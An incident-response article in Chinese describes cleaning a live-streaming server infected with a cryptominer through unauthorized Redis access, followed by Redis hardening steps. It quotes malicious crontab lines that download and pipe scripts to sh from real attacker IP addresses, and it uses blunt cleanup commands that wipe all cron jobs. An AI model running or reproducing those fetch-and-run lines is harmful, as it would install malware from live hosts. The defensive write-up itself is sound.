承载一对一直播源码的服务器被黑后的处理方案

搭建这一对一直播源码的服务器中，用户信息量众多，一旦被黑，后果难以挽回，比如被植入恶意文件或脚本，造成主机被控制或瘫痪，从而影响正常程序运行，以下是云豹运维团队给出的解决处理方案，仅供参考，祝您尽快处理好问题。

一、 服务器资源超负荷

承载着一对一直播源码的服务器被黑后，通常会很明显的有服务器资源负载超额，例如cpu 或者带宽高负荷

 此时，应先看top进程使用情况

# top
top - 18:10:50 up 196 days, 18:59,  2 users,  load average: 4.47, 4.21, 4.11
Tasks: 163 total,   1 running, 162 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.0 us,  1.6 sy, 98.4 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 16267972 total,   185160 free, 14179644 used,  1903168 buff/cache
KiB Swap:        0 total,        0 free,        0 used.  1689432 avail Mem
Which user (blank for all)
  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
16634 root      20   0  541132  50260      0 S 400.0  0.3  78595:40 imWBR1
    1 root      20   0   43296   2364   1112 S   0.0  0.0  52:21.51 systemd

根据CPU使用率排序，可以看到排行第一imWBR1的CPU使用率是400%，它的进程id是16634

根据它的进程查看命令情况

# ps 16634
PID TTY      STAT   TIME COMMAND
16634 ?        Ssl  78597:57 /tmp/imWBR1

可以看到它是从/tmp/imWBR1运行的

那么我们查看该目录下的执行文件

 ls /tmp/
Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>
ddg.2021
hsperfdata_root
mysql.sock
php-cgi.sock
sess_08bs7nf1rl24pem9ve5fbeg5a6

可以看到ddg.2021是绿色的，那么可以肯定它就是该程序的启动命令或者是守护程序

当我kill 16634后 它之后依然会出现在进程中，显然他是杀不死的，因此寻找命令有

ddg.2021会发现它也有一个自己的进程一直在跑

top之后看下

 #top
PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
16634 root      20   0  541132  50260      0 S 399.3  0.3  78613:31 imWBR1
3195 root      20   0 8030128 1.647g      0 S   0.3 10.6  47:12.17 java
10111 root      20   0 1565408  71356    888 S   0.3  0.4 951:29.45 ddg.2021

看到ddg.2021的进程id是10111

那么先删除命令脚本，在杀死进程

 rm -f /tmp/ddg.2021
kill -9 10111
kill -9 16634

杀不死的小强

显然它在15分钟后开始自启动了，接着大概在18：37分钟的时候它又开始工作了，重新开启399.7%CPU

进程情况如下

 PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
 2791 root      20   0  541148  44416   1000 S 399.7  0.3  40:45.54 imWBR1
 2607 root      20   0  310392   9268   5776 S   0.3  0.1   0:01.14 ddg.2021
 4292 root      20   0   27768   1584    516 S   0.3  0.0  26:33.63 redis-server
 7110 root      20   0  251348  16712   3072 S   0.3  0.1 181:11.61 AliYunDun

而/tmp目录中又出现了ddg.2021，而且还多了imWBR1 

ls /tmp/
ddg.2021
hsperfdata_root
imWBR1

再次删除并杀掉进程

rm -f /tmp/ddg.2021  /tmp/imWBR1
kill -9 2791
kill -9 2607

推测：应该是有定时任务在不停的检测是否程序被杀死了，如果杀死了并且可执行文件也被删除了那么它就会自动下载源程序并且启动执行脚本。

去/var/spool/cron这个文件夹看了下，看看它的定时任务内容

cat  /var/spool/cron/crontabs/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

可以看出它有两个定时任务

删除/var/spool/cron下的内容

rm -fr  /var/spool/cron/
 
 
ps -aux|grep ddg
3458  /tmp/ddg.2021
kill -9 3458
 
ps -aux|grep imWBR1
3649  /tmp/imWBR1
kill -9 3649
 
rm -f /tmp/ddg.2021  /tmp/imWBR1

清空/etc/crontab中的定时任务

接着找定时任务，在/etc/crontab找到一个，看ip就觉得有问题

cat /etc/crontab
REDIS0006▒cccccc@O
*/1 * * * * /usr/bin/curl -fsSLk 'http://104.161.63.57/install.curl' | sh

清空该定时任务

 
echo '' > /etc/crontab

二、 承载一对一直播源码的服务器被黑原因分析：

承载一对一直播源码的服务器中，Redis 因配置不当存在未授权访问漏洞，可以被攻击者恶意利用。

在特定条件下，如果 Redis 以 root 身份运行，黑客可以给 root 账号写入 SSH 公钥文件，直接通过 SSH 登录受害服务器，从而获取服务器权限和数据。一旦入侵成功，攻击者可直接添加账号用于 SSH 远程登录控制服务器，给用户的 Redis 运行环境以及 Linux 主机带来安全风险，如删除、泄露或加密重要数据。

三、 建议修复方案

此方案需重启redis才能生效

1、绑定需要访问数据库的IP 
修改 redis.conf 中的 “bind 127.0.0.1” ，改成需要访问此数据库的IP地址。

2、设置访问密码 
在 redis.conf 中找到“requirepass”字段，在后面填上你需要的密码。

3、修改redis服务运行账号 
请以较低权限账号运行redis服务，且禁用该账号的登录权限。

以上就是本文《承载一对一直播源码的服务器被黑后的处理方案》的全部内容，如果您在一对一直播源码搭建过程中遇到被黑问题，可以尝试本文方案进行处理。